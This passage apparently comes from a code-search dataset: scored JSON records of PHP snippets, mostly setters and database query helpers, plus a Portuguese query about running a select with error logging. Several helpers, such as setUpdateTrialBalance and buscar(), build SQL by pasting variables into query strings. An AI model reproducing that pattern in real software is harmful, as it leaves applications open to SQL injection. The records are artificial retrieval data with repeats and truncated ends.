"" }, { "docid": "f41fcbe033f13ace23d0b6681da472ab", "score": "0.3924905", "text": "public function setType($type);", "title": "" }, { "docid": "18df7bf8d0a5e46f5e633dc5c3ddad35", "score": "0.39135307", "text": "private function setUpdateTrialBalance($journalId, $value) {\n $sql = null;\n if ($this->getVendor() == self::MYSQL) {\n $sql = \"\n UPDATE `journal`\n SET `isBalance`='\" . $value . \"'\n WHERE `journalId`='\" . $journalId . \"'\n \";\n } else if ($this->getVendor() == self::MSSQL) {\n $sql = \"\n UPDATE [journal]\n SET [isBalance]='\" . $value . \"'\n WHERE [journalId]='\" . $journalId . \"'\n \";\n } else if ($this->getVendor() == self::ORACLE) {\n $sql = \"\n UPDATE JOURNAL\n SET ISBALANCE='\" . $value . \"'\n WHERE JOURNALID='\" . $journalId . \"'\n \";\n }\n try {\n $this->q->update($sql);\n } catch (\\Exception $e) {\n echo json_encode(array(\"success\" => false, \"message\" => $e->getMessage()));\n exit();\n }\n }", "title": "" }, { "docid": "e5e6eb5c53a6763f0d595409175515d3", "score": "0.39124337", "text": "protected function setType($type) {\n if ($type) {\n $this->type = $type;\n }\n }", "title": "" }, { "docid": "3a3c37302a6119763ec1caf4a9bce29d", "score": "0.39121008", "text": "public function set_type($type)\n {\n $this->type = $type;\n }", "title": "" }, { "docid": "f6e936e93f86b7867ad997ef1c471281", "score": "0.39102423", "text": "public function setStatus(string $status);", "title": "" }, { "docid": "043a863bf9783bde782558325cdd5f4e", "score": "0.39082393", "text": "public function setType($type)\n {\n $this->type = $type;\n }", "title": "" }, { "docid": "043a863bf9783bde782558325cdd5f4e", "score": "0.39082393", "text": "public function setType($type)\n {\n $this->type = $type;\n }", "title": "" }, { "docid": "043a863bf9783bde782558325cdd5f4e", "score": "0.39082393", "text": "public function setType($type)\n {\n $this->type = $type;\n }", "title": "" }, { "docid": "043a863bf9783bde782558325cdd5f4e", "score": "0.39082393", "text": "public function setType($type)\n {\n $this->type = $type;\n }", "title": "" }, { "docid": "043a863bf9783bde782558325cdd5f4e", "score": "0.39082393", "text": "public function setType($type)\n {\n $this->type = $type;\n }", "title": "" }, { "docid": "043a863bf9783bde782558325cdd5f4e", "score": "0.39082393", "text": "public function setType($type)\n {\n $this->type = $type;\n }", "title": "" }, { "docid": "043a863bf9783bde782558325cdd5f4e", "score": "0.39082393", "text": "public function setType($type)\n {\n $this->type = $type;\n }", "title": "" }, { "docid": "326533fbc6e43d3ae25e560c45a1740a", "score": "0.39073098", "text": "public function setStatusAttribute($value)\n {\n $this->attributes['status'] = in_array($value, ['for_rent', 'for_sale']) ? $value : 'for_sale';\n }", "title": "" }, { "docid": "7d795a7fe88f70fd6ae266dc2e9164f2", "score": "0.39036402", "text": "public function setInformState($inform_state)\n {\n $this->inform_state = $inform_state;\n\n return $this;\n }", "title": "" }, { "docid": "cb6d8b3d7622175c91992d5c74e9ac29", "score": "0.3894595", "text": "public function __construct($type='bar'){\n\t\t$this->chartType = $type;\n\t}", "title": "" }, { "docid": "f28d743bce60a6742dfbde298a1f2fcb", "score": "0.38900715", "text": "protected function set_type( $type ) {\n\n\t\t$this->type = $type;\n\t}", "title": "" }, { "docid": "d5cc5738c8813adb3c1c92497768e667", "score": "0.38896474", "text": "function setStatus( $status ) {\n $this->statuses[] = $status;\n }", "title": "" }, { "docid": "1431fe617bc6e426cf79b563182cd038", "score": "0.38846546", "text": "public function setType($type)\n\t{\n\t\t$this->type = $type;\n\t}", "title": "" }, { "docid": "e189dd3768398a28d415a27af8b3a77c", "score": "0.38776538", "text": "public function setIndiceAff(?int $indiceAff): Logiciels {\n $this->indiceAff = $indiceAff;\n return $this;\n }", "title": "" }, { "docid": "09fb3c36f2cff0194dfaeda49e6957aa", "score": "0.387181", "text": "public function setStatus($var)\n {\n GPBUtil::checkInt64($var);\n $this->status = $var;\n\n return $this;\n }", "title": "" }, { "docid": "c818e362b93176a1c983166d0596f54b", "score": "0.38711873", "text": "public function setType($type )\n {\n $this->type = $type;\n }", "title": "" }, { "docid": "c1307ab81e3545ca161a15ae4ecae133", "score": "0.38709402", "text": "public function setStatus($var)\n {\n GPBUtil::checkString($var, True);\n $this->status = $var;\n\n return $this;\n }", "title": "" }, { "docid": "c1307ab81e3545ca161a15ae4ecae133", "score": "0.38709402", "text": "public function setStatus($var)\n {\n GPBUtil::checkString($var, True);\n $this->status = $var;\n\n return $this;\n }", "title": "" } ]
91ecbb4c35110b05aaeb122739d14114
Tenta executar o select passado, retornando um resultado Caso ocorra erro, salva o erro ocorrido no arquivo de log (se estiver habilitado)
[ { "docid": "8e4e7f3af8988faacb47871e78e0bf3d", "score": "0.0", "text": "public function returnOne( $select )\n {\n try\n {\n return $this->_db->fetchRow( $select );\n }\n catch ( Zend_Db_Exception $e )\n {\n if ( Zend_Registry::isRegistered( 'logger' ) )\n {\n //Salva erro no Log\n Zend_Registry::get( 'logger' )->err( $e->getMessage() );\n }\n return false;\n }\n }", "title": "" } ]
[ { "docid": "ec86ed2dc65c3713a2a449a7219c0ac5", "score": "0.63827705", "text": "public function ejecutarConsulta($sql){\n try {\n //crear el comando\n $cmd=$this->prepare($sql);\n //Ejecutar el comando\n $cmd->execute();\n //Capturar resultado de la consulta y retornarlo\n return $cmd->fetchAll();\n } catch (Exception $exc) {\n throw $exc;\n }\n }", "title": "" }, { "docid": "790498d6b0cf274f02d2ad11af30c357", "score": "0.6297267", "text": "public function select(){\n\t$sql=\"SELECT * FROM departamento\";\n\treturn ejecutarConsulta($sql);\n}", "title": "" }, { "docid": "48a2ff9a914b81d77f61a82b43c03ef9", "score": "0.62758666", "text": "function ejecutarConsulta($sql) {\r\n //echo (\"<br>sql:\".$sql);\r\n $result = pg_query($this->link, $sql);\r\n return $result;\r\n }", "title": "" }, { "docid": "2bbb0fba3b22a23eaf9e9aaf8773bc0f", "score": "0.6236936", "text": "public function executarQuery($sql) {\r\n\t\t\r\n\t\t$rs = pg_query($this->conn, $sql);\r\n\t\r\n\t\t//Implantar se quiser retorno de erro do banco\r\n\t\t/*\r\n\t\tif (!$rs) {\r\n\t\t\tthrow new Exception(\"Falha de banco de dados\");\r\n\t\t}\r\n\t\t*/\r\n\t\t \r\n\t\treturn $rs;\r\n\t}", "title": "" }, { "docid": "855f9c26e4114097002ab94f77e6c39d", "score": "0.6183907", "text": "public function ejecutarQuery()\n\t{\n\t\t$this->abrirConexion();\n\t\t$result = $this->conn->exec($sql);\n\t\t$this->cerrarConexion();\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "312f670b8e2d63c78855c017d1681623", "score": "0.61024594", "text": "public function selectQte(){\n $this->selectQte->execute();\n if ($this->selectQte->errorCode()!=0){\n print_r($this->selectQte->errorInfo());\n }\n return $this->selectQte->fetchAll(); \n }", "title": "" }, { "docid": "d31c2d770222d6734510b1c9a3091b89", "score": "0.6096681", "text": "public function select(){\r\n\t$sql=\"SELECT * FROM block WHERE condicion=1\";\r\n\treturn ejecutarConsulta($sql);\r\n}", "title": "" }, { "docid": "78f14d613ed0218740c5015dc2efee20", "score": "0.6040674", "text": "function ejecutaConsulta2($sql)\n{\n\n\t\t$miconexion=connectDB();\n\t\t$resultset= $miconexion->query($sql);\n\t\treturn $resultset->fetchColumn();\n\n}", "title": "" }, { "docid": "547c19f8f9e5225ce4f2fbf5d83c8c1f", "score": "0.6035921", "text": "function execultaQuery(){\r\n\r\n\t\tif($this->limit!=null and $this->tipo_requisicao == 'select'):\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\tmysqli_query($this->conexao,$this->query)or die(mysqli_error());\r\n\t\t\t\t\r\n\t\t\t\t\t$this->linhas_total =$this->conexao->affected_rows;\r\n\t\t\t\t\r\n\t\t\t\t\tif(empty($this->where)):\r\n\t\t\t\t\t\t$this->query .= \" where 1=1 \";\r\n\t\t\t\t\tendif;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$this->query .= \" \".$this->limit.\" \";\r\n\t\t\t\t\t\r\n\t\t\t\t\t$this->query = mysqli_query($this->conexao,$this->query)or die(mysqli_error());\r\n\t\t\t\t\r\n\t\t\t\t\t$this->linhas =$this->conexao->affected_rows;\r\n\t\t\t\t\r\n\t\t\t\telse:\r\n\t\t\t\techo $this->conexao;\r\n\t\t\t\techo $this->query;\r\n\t\t\t\t\t$this->query = $this->conexao($this->query)or die(mysqli_error());\r\n\t\t\t\t\r\n\t\t\t\t\t$this->linhas =$this->conexao->affected_rows;\r\n\t\t\t\t\t$this->linhas_total =$this->conexao->affected_rows;\r\n\t\t\t\t\r\n\t\tendif;\r\n\t\r\n\t\tif($this->conexao!=false):\r\n\t\t\t$this->conexao=false;\r\n\t\tendif;\r\n\t}", "title": "" }, { "docid": "5b89500beff9b084333bdbaadaa86bed", "score": "0.59976923", "text": "function ejecutaConsulta($sql)\n{\n\n\t\t$miconexion=connectDB();\n\t\treturn $miconexion->query($sql);\n\n}", "title": "" }, { "docid": "c1aa6c6879ebe1d0db3f6011a18a7ea2", "score": "0.59884703", "text": "public function select(){\n $this->select->execute();\n\n if ($this->select->errorCode() != 0){\n //print_r($this->select->errorInfo());\n return false;\n }\n\n return $this->select->fetchAll();\n }", "title": "" }, { "docid": "4d839509f990e7b1dc9da2698d09f7a6", "score": "0.59648544", "text": "public function exec($log = false){\r\n//\t\tif ($log) {\r\n//\t\t\t$text = isset($this->_where) ? $this->_where() : json_encode($this->_vals);\r\n//\t\t\tlogSistema($text, $this->_op, $this->fTablename);\r\n//\t\t}\r\n\t\treturn $this->fCon->execSql($this->AsSQL());\r\n\t}", "title": "" }, { "docid": "4860b726ef32305b8b1d09dcbb91396e", "score": "0.595527", "text": "public function select($movimiento){\r\n $usuario=$movimiento->getUsuario()->getCorreo();\n$moneda=$movimiento->getMoneda()->getSimbolo();\n\r\n try {\r\n $sql= \"SELECT `usuario`, `moneda`, `cerrado`, `pCompra`, `pVenta`, `cantidad`, `fecha`\"\r\n .\"FROM `movimiento`\"\r\n .\"WHERE `usuario`='$usuario' AND`moneda`='$moneda'\";\r\n $data = $this->ejecutarConsulta($sql);\r\n for ($i=0; $i < count($data) ; $i++) {\r\n $usuarios = new Usuarios();\n $usuarios->setCorreo($data[$i]['usuario']);\n $movimiento->setUsuario($usuarios);\n $moneda = new Moneda();\n $moneda->setSimbolo($data[$i]['moneda']);\n $movimiento->setMoneda($moneda);\n $movimiento->setCerrado($data[$i]['cerrado']);\n $movimiento->setPCompra($data[$i]['pCompra']);\n $movimiento->setPVenta($data[$i]['pVenta']);\n $movimiento->setCantidad($data[$i]['cantidad']);\n $movimiento->setFecha($data[$i]['fecha']);\n\r\n }\r\n return $movimiento; } catch (SQLException $e) {\r\n throw new Exception('Primary key is null');\r\n return null;\r\n }\r\n }", "title": "" }, { "docid": "ee0d6cd98c80df17aa57acbfa0ff8d9e", "score": "0.5946865", "text": "protected function execute_single_query() {\n\t\tif($_POST) {\n\t\t\t$this->abrir_conexion();\n\t\t\t$this->result = pg_query($this->query);\n\t\t\tif($this->result == false) {\n\t\t\t\t$this->error = \"Error\";\n\t\t\t\t$this->mensaje = 'Consulta erronea: \n\t\t\t\t <script>\n\t\t\t\t \tjQuery(\".alert\").removeClass(\"alert-success\").addClass(\"alert-danger\");\n\t\t\t\t \tjQuery(\"#cargar-info\").trigger( \"click\" )\n\t\t\t\t \t</script>'.pg_last_error();\t\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$this->error = \"Exito\";\n\t\t\t\t$this->mensaje = 'Registro Insertado\n\t\t\t\t <script>\n\t\t\t\t \tjQuery(\".alert\").removeClass(\"alert-danger\").addClass(\"alert-success\");\n\t\t\t\t \tjQuery(\"#cargar-info\").trigger( \"click\" )\n\t\t\t\t \t</script>';\t\n\t\t\t}\n\t\t\t$this->cerrar_conexion();\n\t\t} else {\n\t\t\t$this->error = \"Error\";\n\t\t\t$this->mensaje = 'Metodo no permitido';\n\t\t}\n\t}", "title": "" }, { "docid": "833825743f118f3b95982ffdeb83e703", "score": "0.5926172", "text": "function executeSelect($db, $query, ...$bindParamArgs) {\n // get the result of a select query\n if ($stmt = $db->prepare($query)) {\n if (count($bindParamArgs) > 0) {\n $stmt->bind_param(...$bindParamArgs);\n }\n $stmt->execute();\n $result = $stmt->get_result();\n if ($result) {\n return $result;\n }\n if ($stmt->error) {\n logToFile(LOG_FILE, $stmt->error);\n return false;\n }\n } else {\n logToFile(LOG_FILE, \"Unable to prepare statement with query: $query\");\n logToFile(LOG_FILE, $db->error);\n return false;\n }\n return false;\n}", "title": "" }, { "docid": "eae70ae6ec6c41fa76c13d3288b13d8f", "score": "0.5912767", "text": "function obtenerTipoUsuario()\n{\n include 'conexion.php';\n\n try {\n //code...\n return $conn->query(\"SELECT id, nombre FROM tipousuario\");\n } catch (Exception $e) {\n //throw $th;\n echo \"Error: \" + $e->getMessage();\n return false;\n }\n}", "title": "" }, { "docid": "c089507be2483fb02c0193909b5d310f", "score": "0.58883446", "text": "public function insert(){\n\n $sql = new Sql();\n\n $result = $sql->select(\"CALL sp_usuarios_insert(:LOGIN, :PASSWORD)\", array(\n ':LOGIN'=>$this->getDeslogin(),\n ':PASSWORD'=>$this->getDessenha()\n ));\n if (count($result) > 0){\n \n $this->setData($result[0]);\n \n } else {\n throw new Exception ('Vixe');\n }\n \n}", "title": "" }, { "docid": "94bddda5439ed2c6892eb4b1f6b5d14e", "score": "0.5884693", "text": "public function afficher_commandes_all1()\n{\n $sql=\"select * from commandes\";\n $db=config::getConnexion();\n $req=$db->prepare($sql);\n\n try\n {\n $req->execute();\n // $query->execute();\nreturn $req;\n \n\n }\n catch(Exeption $e)\n {\n die('Erreur: '.$e->getMessage());\n }\n}", "title": "" }, { "docid": "5340b94ea02e18e7b21b517a68ade805", "score": "0.58602476", "text": "public function buscarDados(){\n $login=$_SESSION['login'];\n try {\n parent::setTabela('utilizador, docente');\n parent::setValorPesquisa('utilizador.idUser =(:idUser) AND docente.idUser =(:idUser)');\n $selecionaTudo_Com= parent::selecionaTudo_ComCondicao();\n $selecionaTudo_Com->bindParam(':idUser', $login->idUser);\n $selecionaTudo_Com->bindParam(':idUser', $login->idUser);\n $selecionaTudo_Com->execute();\n\n $dado = $selecionaTudo_Com->fetch(PDO::FETCH_OBJ);\n unset( $selecionaTudo_Com);\n \n \n } catch (Exception $exc) {\n return $exc->getMessage();\n }\n \n return $dado; \n }", "title": "" }, { "docid": "23bc1c00e68b00026a50a6f55c3803b3", "score": "0.5853612", "text": "public function afficher_commandes_all()\n{\n $sql=\"select * from list_com\";\n $db=config::getConnexion();\n $req=$db->prepare($sql);\n\n try\n {\n $req->execute();\n // $query->execute();\nreturn $req;\n \n\n }\n catch(Exeption $e)\n {\n die('Erreur: '.$e->getMessage());\n }\n}", "title": "" }, { "docid": "d4eacf365476e4c6b969021e2470b4c5", "score": "0.5820691", "text": "public function insertar(){\n $this -> Conexion -> abrir();\n $this -> Conexion -> ejecutar( $this -> ProveedorDAO -> insertar());\n $res = $this -> Conexion -> filasAfectadas();\n $this -> Conexion -> cerrar();\n return $res;\n }", "title": "" }, { "docid": "4eef74b570bb5c2b20a1096d7ca4e1e2", "score": "0.58181834", "text": "public function afficher_plat_id($id_plat)\n{ //affichage tout les commandes\n $sql=\"select * from plat where id_plat=:id_plat\";\n $db=config::getConnexion();\n $req=$db->prepare($sql);\n $req->bindValue(':id_plat',$id_plat);\n try\n {\n $req->execute();\n // $query->execute();\nreturn $req;\n \n\n }\n catch(Exeption $e)\n {\n die('Erreur: '.$e->getMessage());\n }\n}", "title": "" }, { "docid": "66a2bc4a749d31f66b2907519cbc7768", "score": "0.5793878", "text": "function ejecutarConsulta($sql) {\n\t\t$opc = array(PDO::MYSQL_ATTR_INIT_COMMAND => \"SET NAMES utf8\");\n\t\t$dsn = \"mysql:host=localhost;dbname=bookworld\";\n\t\t$user = 'root';\n\t\t$pass = '';\n\t\t\n\t\ttry{\n\t\t\t$conn = new PDO($dsn, $user, $pass, $opc);\n\t\t\t$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\t\t\t$stmt = $conn->prepare($sql);//Utilizamos la query recibida\n\t\t\t$stmt->execute();\n\t\t\t$resultado = $stmt->setFetchMode(PDO::FETCH_ASSOC);\n\t\t\t$resultado = $stmt->fetchAll();\n\t\t\treturn $resultado;\n\t\t}\n\t\tcatch(PDOException $e) {\n\t\t\techo \"Error: \" . $e->getMessage();\n\t\t}\n\t\t$conn = null;\n\t}", "title": "" }, { "docid": "3419677c9c9034e284ea3efb91faf067", "score": "0.5791628", "text": "public function mdl_select(\n ){\n\t\t\t$nhandle_conexion_bd = parent::_crear_conexion_bd();\n\t\t\tparent::set_names();\n\n\t\t\t$ssql_sentencia = \"call apr_web_arc_tipo_documento_select()\";\n\t\t\t$ssql_objeto = $nhandle_conexion_bd->prepare($ssql_sentencia);\n\t\t\t$ssql_objeto->execute();\n\t\t\treturn $ssql_resultado = $ssql_objeto->fetchAll(PDO::FETCH_ASSOC);\n\t\t}", "title": "" }, { "docid": "8dd51b98151c3505c2e24946eed8de68", "score": "0.57895786", "text": "public function afficher_utilisateur_id($id_user)\n{\n $sql=\"select * from utilisateur where id=:id_user\";\n $db=config::getConnexion();\n $req=$db->prepare($sql);\n $req->bindValue(':id_user',$id_user);\n try\n {\n $req->execute();\n // $query->execute();\nreturn $req;\n \n\n }\n catch(Exeption $e)\n {\n die('Erreur: '.$e->getMessage());\n }\n}", "title": "" }, { "docid": "507b39ac9e3d6145f0a971f19df730df", "score": "0.5787958", "text": "function ejecutarQuery($query = \"\", $tipoQuery = 1) {\n\n\t\tif (!empty($query)) {\n\t\t\t$this->query = $query;\n\t\t}\n\t\t$this->establecerConexion();\n\n\t\t$this->mysqli->query(\"SET NAMES 'utf8'\");\n\t\tif ($this->codificarHTML === true)\n\t\t\t$this->query = $this->query;\n\n\t\tif ($tipoQuery == 2) {\n\t\t\t$this->result = $this->mysqli->multi_query($this->query);\n\t\t} else {\n\t\t\t$this->result = $this->mysqli->query($this->query);\n\t\t}\n\n\t\tif (!$this->result) {\n\n\t\t\tthrow new Exception(\"No se pudo ejecutar el query <br/> <strong>$query</strong><br/> (\" . $this->mysqli->errno . \") \" . $this->mysqli->error, 200);\n\t\t}\n\t\t$this->totalCampos = $this->mysqli->field_count;\n\t\t$this->idResult = $this->mysqli->insert_id;\n\n\t\tif (isset($this->result->num_rows))\n\t\t\t$this->totalRegistros = $this->result->num_rows;\n\n\t\tif (!$this->mantener) {\n\t\t\t$this->cerrarConexion();\n\t\t}\n\n\n\t\treturn $this->result;\n\n\t}", "title": "" }, { "docid": "5860dcd7e459188bb8d3f80792d64554", "score": "0.57503533", "text": "public function dbExecutar( $consulta ) {\n\t\tglobal $DBStmt;\n\t\tif (!empty( $DBStmt )) //verifica se a consulta existe\n\t\t\techo \"Erro ao executar consulta\";\n\t\tif (!($DBStmt = MySQL_Query(\"$consulta\")))//verifica se a consulta esta correta\n\t\t\techo \"Erro de SQL (MySQL_Query)\".$consulta;\n\t}", "title": "" }, { "docid": "67edeb6594ada2fd054b8a7208af62e7", "score": "0.57472456", "text": "public function AdminExist($email){\n\n\n echo \"entre a register admin existe<br>\";\n\n try\n {\n\n $query = \"SELECT * FROM \".$this->tableName. \" WHERE email\".\"=\".\":email\";\n\n var_dump($query);\n echo \"hago la query<br>\";\n\n // SELECT * FROM passwordStudent WHERE password = :password\n $parameters[\"email\"] = $email;\n\n $this->connection = Connection::GetInstance();\n\n $this->connection->Execute($query,$parameters);\n \n return ($this->connection->Execute($query,$parameters));\n\n }\n catch(Exception $ex)\n {\n throw $ex;\n }\n\n\n}", "title": "" }, { "docid": "93bbff93ac9cefd8abb5f730074ad281", "score": "0.5742944", "text": "public function exec_SELECTquery( $select, $from, $where, $groupBy, $orderBy, $limit )\n {\n $promptOptimise = 'Sorry, no help!';\n\n // Get query\n $query = $GLOBALS[ 'TYPO3_DB' ]->SELECTquery\n (\n $select, $from, $where, $groupBy, $orderBy, $limit\n );\n\n // RETURN : query should prompt only\n if ( $this->dev_sqlPromptsOnly )\n {\n\n // Get query\n var_dump( $query );\n return;\n }\n // RETURN : query should prompt only\n // Enable DRS performance\n if ( $this->pObj->b_drs_warn )\n {\n $b_drs_performBak = $this->pObj->b_drs_perform;\n $this->pObj->b_drs_perform = true;\n }\n // Enable DRS performance\n // Log the time\n $debugTrailLevel = 1;\n $this->pObj->timeTracking_log( $debugTrailLevel + 1, 'START' );\n $tt_start = $this->pObj->tt_prevEndTime;\n\n // Execute query\n $res = $GLOBALS[ 'TYPO3_DB' ]->exec_SELECTquery\n (\n $select, $from, $where, $groupBy, $orderBy, $limit\n );\n $error = $GLOBALS[ 'TYPO3_DB' ]->sql_error();\n // Execute query\n // DRS - Development Reporting System\n if ( $this->pObj->b_drs_sql )\n {\n $debugTrail = $this->pObj->drs_debugTrail( $debugTrailLevel );\n // #i0003, 130214, dwildt, 1-\n// $prompt = $debugTrail['prompt'] . ': ' . $query;\n // #i0003, 130214, dwildt, 1+\n $prompt = $debugTrail[ 'prompt' ] . ': ' . str_replace( ',', ', ', $query );\n t3lib_div::devlog( '[OK/SQL] ' . $prompt, $this->pObj->extKey, -1 );\n $prompt = 'Be aware of the multi-byte notation, if you want to use the query ' .\n 'in your SQL shell or in phpMyAdmin.';\n t3lib_div::devlog( '[HELP/SQL] ' . $prompt, $this->pObj->extKey, 1 );\n }\n // DRS - Development Reporting System\n // Log the time\n $this->pObj->timeTracking_log( $debugTrailLevel + 1, 'STOP' );\n $this->pObj->timeTracking_prompt( $debugTrailLevel + 1, $query );\n\n // RESET DRS performance\n if ( $this->pObj->b_drs_warn )\n {\n $this->pObj->b_drs_perform = $b_drs_performBak;\n }\n $tt_end = $this->pObj->tt_prevEndTime;\n\n // DRS - Performance\n $iMilliseconds = $tt_end - $tt_start;\n $this->prompt_performance( $iMilliseconds, $promptOptimise );\n // DRS - Performance\n // Error management\n if ( $error )\n {\n // Free SQL result\n $GLOBALS[ 'TYPO3_DB' ]->sql_free_result( $res );\n $arr_return = $this->prompt_error( $query, $error, $debugTrailLevel + 1 );\n }\n // Error management\n\n $arr_return[ 'data' ][ 'query' ] = $query;\n $arr_return[ 'data' ][ 'res' ] = $res;\n return $arr_return;\n }", "title": "" }, { "docid": "55dfaed57cc2e6907b87b19cd453968e", "score": "0.5730618", "text": "public function select(){\n\t\t$sql = \"SELECT * FROM tipo_canal\n\t\t\t\twhere tip_can_estado = 1\";\n\n\t\treturn ejecutarConsulta($sql);\n\t}", "title": "" }, { "docid": "86acea5fa1f065177a18f2f0b022ca93", "score": "0.5725954", "text": "function EjecutaConsulta($sql=\"\")\n {\n $this->_ConsultaId= mysql_query($sql,$this->_ConexionId);\n if (!$this->_ConsultaId)\n {\n $mensaje = 'Fallo al ejecutar consulta SQL: '.$sql.\"<BR>\";\n $mensaje .= 'MySql Error: ' .mysql_error();\n die($mensaje);\n }\n return $this->_ConsultaId;\n }", "title": "" }, { "docid": "e82aac522dfd0add574d9c7495e38571", "score": "0.5725354", "text": "public function executa($sql){\n\t\t$connexio = $this->connect();\n\t\t$this->bd('hotel');\n\t\t$consulta=mysql_query($sql, $connexio) or die('Error, la consulta ha fallat: '.$this->error());\n\t\t$this->close();\n\t\treturn $consulta;\n\t}", "title": "" }, { "docid": "6ebb2f4859f1e755d6c62f91a2c3251b", "score": "0.57206947", "text": "function Execute($query='select now()'){\n $this->rs = $this->DB->Execute($query) or die (\"No se ejecuto la consulta: \" . $this->DB->ErrorMsg());\n }", "title": "" }, { "docid": "0c39420cce049a798ffd93c0995cff4f", "score": "0.57205176", "text": "function ejecutarConsulta($sql){\n\t\t$resultado_consulta=$this->conexion->query($sql);\n\t\tif($resultado_consulta){\n\t\t\treturn true;\n\t\t}\n\t}", "title": "" }, { "docid": "ab5159edb55bb8b2d2b379d9ee6f9af7", "score": "0.570783", "text": "public function select($curso_has_estudiante);", "title": "" }, { "docid": "d88d5cb76da09891c5061af461209328", "score": "0.57037187", "text": "public function selectQuery( $select ){ \n if( $this->connection === false ) {\n return '[{\"status\": 500, \"mesage\": \"No se pudo conectar a la BD.\"}]';\n }else{ \n $data = pg_query( $this->connection, $select ) or die('Error: ' . pg_last_error());\n $response = array();\n while ($row = pg_fetch_assoc($data)) {\n $response[] = $row;\n }\n return json_encode($response);\n }\n }", "title": "" }, { "docid": "ebb976e8420f157600146b98e873f050", "score": "0.56872416", "text": "function ejecutar($sql){\n \n //********** registro en bitacora ***********//\n $this->bitacora($sql,'EJECUTAR');\n //********** fin registro en bitacora ***********// \n $this->db->query($sql);\n return $this->db->insert_id();\n }", "title": "" }, { "docid": "7d330cc4df1e531c6673ac15512620d8", "score": "0.5676812", "text": "function Consulta(){\n try {\n $sql = \"SELECT f.id, c.nombre as chofer,f.fechacarga, f.contenedor, fin.nombre as puntocarga, \n nav.nombre as puntodescarga,f.totalpago FROM formulariopago f \n inner join calculokm cal on cal.id=f.idcalculokm \n inner join finca fin on fin.id=cal.idfinca \n inner join naviera nav on nav.id=cal.idnaviera \n inner join chofer c on c.id=f.idchofer \n WHERE estado=:estado AND (DATE(f.fechacarga) <= :fechafinal AND \n DATE(f.fechacarga) >= :fechainicial) AND f.idchofer=:idchofer ORDER BY fechacarga ASC\";\n \n $param= array(':estado'=>$_POST[\"estado\"],\n ':idchofer'=>$_POST[\"idchofer\"],\n ':fechafinal'=>$_POST[\"fechafinal\"],\n ':fechainicial'=>$_POST[\"fechainicial\"]);\n $data= DATA::Ejecutar($sql,$param);\n return $data;\n } catch (Exception $e) {\n //header('Location: ../Error.php?w=visitante-bitacora&id='.$e->getMessage());\n //exit;\n }\n }", "title": "" }, { "docid": "74e147e9def8b5d077a281113e0b0f5d", "score": "0.5674281", "text": "function consulta ($query) {\n\t\ttry {\n//\t\t\t$this->id_resultado = $this->db->query($query);\n\t\t\t$this->id_resultado = pg_query($this->db,$query);\n\t\t\tif (!$this->id_resultado) {\n\t\t\t\tthrow new Exception(\"Error: 2 en Query\");\n\t\t\t} else {\n\t\t\t\treturn ($this->id_resultado);\n\t\t\t}\n\t\t} catch (Exception $e) {\n\t\t $this->error1 = $e->getMessage();\n\t\t return null;\n\t\t}\n\t}", "title": "" }, { "docid": "ddd3760c30d61f2c0fff0b6d8f11cd1e", "score": "0.5673611", "text": "function dbRequest($req, $type_req){\r\n try{\r\n //Connection to the tasking database\r\n $connect = new PDO('mysql:host=localhost; dbname=kairos_db;charset=utf8', '***', '***');\r\n\r\n //Allows to get more information from errors\r\n $connect->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\r\n }\r\n catch(Exception $e){\r\n echo 'Une erreur est survenue! '.$e->getMessage();\r\n die();\r\n }\r\n\r\n //Execution of the request\r\n if($type_req == 'select'){\r\n //Execute a select req\r\n $res = $connect->query($req);\r\n }\r\n else{\r\n //Execute a non-select req\r\n if (false === $connect->exec($req)){\r\n return false;\r\n }\r\n //Set return value to the last inserted ID\r\n $res = $connect->lastInsertId();\r\n }\r\n return ($res);\r\n}", "title": "" }, { "docid": "3b56e9605b8bf44befc5c31535c040dc", "score": "0.5671995", "text": "public function saberTipo($numSala){\n $consulta=\"select * from sala where numSala = $numSala;\";\n try{\n $resultados=$this->conex->prepare($consulta);\n $resultados->execute();\n $regto=$resultados->fetch(PDO::FETCH_ASSOC);\n return $regto['tipo'];\n }catch(PDOException $e){\n echo \"<p>Consulta ejecutada: \" .$consulta. \"</p>\";\n echo \"<p class='error'>Descripción del error: \" .$e->getMessage(). \"</p>\";\n\n}\n }", "title": "" }, { "docid": "514cb005b2c21a8d363f6a2bf71cfeee", "score": "0.56697315", "text": "function opcion__ejecutar_sql($archivo=null)\n {\n if (! isset($archivo)) {\n $param = $this->get_parametros();\n if ( isset($param['-a']) && (trim($param['-a']) != '') ) {\n $archivo = $param['-a'];\n } else {\n throw new toba_error(\"Es necesario indicar el archivo a ejecutar. Utilice el modificador '-a'\");\n }\n }\n $db = $this->get_instalacion()->conectar_base($this->get_id_base_actual());\n $db->ejecutar_archivo($archivo);\n }", "title": "" }, { "docid": "a2eec9dc5290352dc7d86fc8a56ee4e6", "score": "0.5668339", "text": "protected function executeQuery() {}", "title": "" }, { "docid": "84505c45e977364d9f15ccb54761588c", "score": "0.5663726", "text": "public function buscar(){\n\t\t\treturn $this->ejecutar(\"SELECT * FROM $this->tabla WHERE $this->colu='$this->id' \");\n\t\t}", "title": "" }, { "docid": "b2c89af488e46bcf25ac4601aad80652", "score": "0.56609017", "text": "function execute(){\r\n\r\n\t$db = new SOY2DAO();\r\n\t$exist = \"select * from soyshop_mail_log;\";\r\n\r\n\ttry{\r\n\t\t$res = $db->executeQuery($exist);\r\n\t\t$exeFlag = false;\r\n\t}catch(Exception $e){\r\n\t\t$exeFlag = true;\r\n\t}\r\n\t\r\n\t//実行したかのフラグ\r\n\t$flag = false;\r\n\t\r\n\tif($exeFlag===true){\r\n\t\t/* not exist auto login tabel */\r\n\t\tif(defined(\"SOYSHOP_SITE_DSN\")&&preg_match('/mysql/',SOYSHOP_SITE_DSN)){\r\n\t\t\t$sql = sqlMySQL();\r\n\t\t}else{\r\n\t\t\t$sql = sqlSQLite();\r\n\t\t}\r\n\t\r\n\t\t$sql = trim($sql);\r\n\t\r\n\t\ttry{\r\n\t\t\t$db->executeUpdateQuery($sql);\r\n\t\t\t$flag = true;\r\n\t\t}catch(Exception $e){\r\n\t\t}\t\r\n\t}\r\n\t\r\n\tif($flag === true){\r\n\t\t_echo(\"・メールログテーブルを追加しました。\");\r\n\t}else{\r\n\t\t_echo(\"・メールログテーブルを失敗しました。\");\r\n\t}\r\n\t\r\n\t_echo();\r\n\t_echo();\r\n\t$link = 